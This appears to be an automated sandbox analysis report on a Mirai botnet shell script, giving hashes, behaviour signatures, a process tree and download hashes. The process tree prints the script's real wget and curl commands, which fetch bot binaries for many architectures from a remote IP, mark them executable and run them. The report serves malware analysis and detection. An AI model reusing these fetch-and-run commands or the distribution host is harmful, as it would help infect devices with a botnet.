Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    06-01-2025 06:46

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    bb9b02790d9369cfdce60911efa478c8

  • SHA1

    cf899d0844a5cbac80784008dd7ff20ddc95ef8f

  • SHA256

    8562b9fbc61584ce74c2f56847565faccf053134a8f4abf4aaee8e2ed82ccfc5

  • SHA512

    55842a12c510f36d7c8d9f1b35bebf9729421d061f14b9cd1c895fab850087dc091b57a641faad012b785340edfeb5cb72b68abc22090e9cf3f842075bf0bb80

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1505
    • /usr/bin/wget
      wget http://154.216.17.34/hiddenbin/wind.x86
      2⤵
      • Writes file to tmp directory
      PID:1506
    • /usr/bin/curl
      curl -O http://154.216.17.34/hiddenbin/wind.x86
      2⤵
      • Writes file to tmp directory
      PID:1517
    • /bin/cat
      cat wind.x86
      2⤵
        PID:1518
      • /bin/chmod
        chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-bolt.service-ygCs6y systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.x86 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1519
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1520
      • /usr/bin/wget
        wget http://154.216.17.34/hiddenbin/wind.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1524
      • /usr/bin/curl
        curl -O http://154.216.17.34/hiddenbin/wind.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1525
      • /bin/chmod
        chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-bolt.service-ygCs6y systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.mips wind.x86 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1527
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1528
      • /usr/bin/wget
        wget http://154.216.17.34/hiddenbin/wind.arc
        2⤵
        • Writes file to tmp directory
        PID:1532
      • /usr/bin/curl
        curl -O http://154.216.17.34/hiddenbin/wind.arc
        2⤵
        • Writes file to tmp directory
        PID:1533
      • /bin/chmod
        chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-bolt.service-ygCs6y systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.mips wind.x86 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1535
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1536
      • /usr/bin/wget
        wget http://154.216.17.34/hiddenbin/wind.i468
        2⤵
          PID:1540
        • /usr/bin/curl
          curl -O http://154.216.17.34/hiddenbin/wind.i468
          2⤵
          • Writes file to tmp directory
          PID:1541
        • /bin/chmod
          chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-bolt.service-ygCs6y systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.i468 wind.mips wind.x86 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1543
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1544
        • /usr/bin/wget
          wget http://154.216.17.34/hiddenbin/wind.i686
          2⤵
            PID:1548
          • /usr/bin/curl
            curl -O http://154.216.17.34/hiddenbin/wind.i686
            2⤵
            • Writes file to tmp directory
            PID:1549
          • /bin/chmod
            chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-bolt.service-ygCs6y systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.i468 wind.i686 wind.mips wind.x86 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1551
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1552
          • /usr/bin/wget
            wget http://154.216.17.34/hiddenbin/wind.x86_64
            2⤵
              PID:1556
            • /usr/bin/curl
              curl -O http://154.216.17.34/hiddenbin/wind.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1557
            • /bin/chmod
              chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-bolt.service-ygCs6y systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.i468 wind.i686 wind.mips wind.x86 wind.x86_64 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1559
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1560
            • /usr/bin/wget
              wget http://154.216.17.34/hiddenbin/wind.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1564
            • /usr/bin/curl
              curl -O http://154.216.17.34/hiddenbin/wind.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1565
            • /bin/chmod
              chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1569
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1570
            • /usr/bin/wget
              wget http://154.216.17.34/hiddenbin/wind.arm
              2⤵
              • Writes file to tmp directory
              PID:1574
            • /usr/bin/curl
              curl -O http://154.216.17.34/hiddenbin/wind.arm
              2⤵
              • Writes file to tmp directory
              PID:1579
            • /bin/chmod
              chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.arm wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1583
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1584
            • /usr/bin/wget
              wget http://154.216.17.34/hiddenbin/wind.arm5
              2⤵
              • Writes file to tmp directory
              PID:1588
            • /usr/bin/curl
              curl -O http://154.216.17.34/hiddenbin/wind.arm5
              2⤵
              • Writes file to tmp directory
              PID:1593
            • /bin/chmod
              chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-bolt.service-zVS6hH systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.arm wind.arm5 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1595
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1596
            • /usr/bin/wget
              wget http://154.216.17.34/hiddenbin/wind.arm6
              2⤵
              • Writes file to tmp directory
              PID:1600
            • /usr/bin/curl
              curl -O http://154.216.17.34/hiddenbin/wind.arm6
              2⤵
              • Writes file to tmp directory
              PID:1601
            • /bin/chmod
              chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-bolt.service-dT6EqX systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.arm wind.arm5 wind.arm6 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1609
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1610
            • /usr/bin/wget
              wget http://154.216.17.34/hiddenbin/wind.arm7
              2⤵
              • Writes file to tmp directory
              PID:1614
            • /usr/bin/curl
              curl -O http://154.216.17.34/hiddenbin/wind.arm7
              2⤵
              • Writes file to tmp directory
              PID:1621
            • /bin/chmod
              chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-bolt.service-m00G0S systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1629
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1630
            • /usr/bin/wget
              wget http://154.216.17.34/hiddenbin/wind.ppc
              2⤵
              • Writes file to tmp directory
              PID:1634
            • /usr/bin/curl
              curl -O http://154.216.17.34/hiddenbin/wind.ppc
              2⤵
              • Writes file to tmp directory
              PID:1637
            • /bin/chmod
              chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.ppc wind.x86 wind.x86_64 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1639
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1640
            • /usr/bin/wget
              wget http://154.216.17.34/hiddenbin/wind.spc
              2⤵
              • Writes file to tmp directory
              PID:1644
            • /usr/bin/curl
              curl -O http://154.216.17.34/hiddenbin/wind.spc
              2⤵
              • Writes file to tmp directory
              PID:1645
            • /bin/chmod
              chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.ppc wind.spc wind.x86 wind.x86_64 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1647
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1648
            • /usr/bin/wget
              wget http://154.216.17.34/hiddenbin/wind.m68k
              2⤵
              • Writes file to tmp directory
              PID:1652
            • /usr/bin/curl
              curl -O http://154.216.17.34/hiddenbin/wind.m68k
              2⤵
              • Writes file to tmp directory
              PID:1653
            • /bin/chmod
              chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.m68k wind.mips wind.mpsl wind.ppc wind.spc wind.x86 wind.x86_64 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1655
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1656
            • /usr/bin/wget
              wget http://154.216.17.34/hiddenbin/wind.sh4
              2⤵
              • Writes file to tmp directory
              PID:1660
            • /usr/bin/curl
              curl -O http://154.216.17.34/hiddenbin/wind.sh4
              2⤵
              • Writes file to tmp directory
              PID:1661
            • /bin/chmod
              chmod +x config-err-9gUEVa netplan_dmdk49qg ohshit.sh snap-private-tmp ssh-bxVkkdE5R68S systemd-private-f7685a4919f54b5fac845b2fc536c21d-colord.service-cLyRvE systemd-private-f7685a4919f54b5fac845b2fc536c21d-ModemManager.service-63cCBY systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-resolved.service-E8c4rc systemd-private-f7685a4919f54b5fac845b2fc536c21d-systemd-timedated.service-7vq915 wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.m68k wind.mips wind.mpsl wind.ppc wind.sh4 wind.spc wind.x86 wind.x86_64 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1663
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1664

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/wind.x86

            Filesize

            25KB

            MD5

            e802a5d2fc1758f633787e96999218c9

            SHA1

            e3bea9702230370bd3a9b7b503aedaf6eb8a99f0

            SHA256

            bedafc169492f127eddcab8a5eba9b7aa57acb0c43aa7b24ab4953331ed58b79

            SHA512

            6fabbf929eed5db052fb111dcb8582549481d4114b12c153a989180a9a9a0b052fbb85687d36221d59b542d62a2173c945c4fba22b374ea79685df09be727df8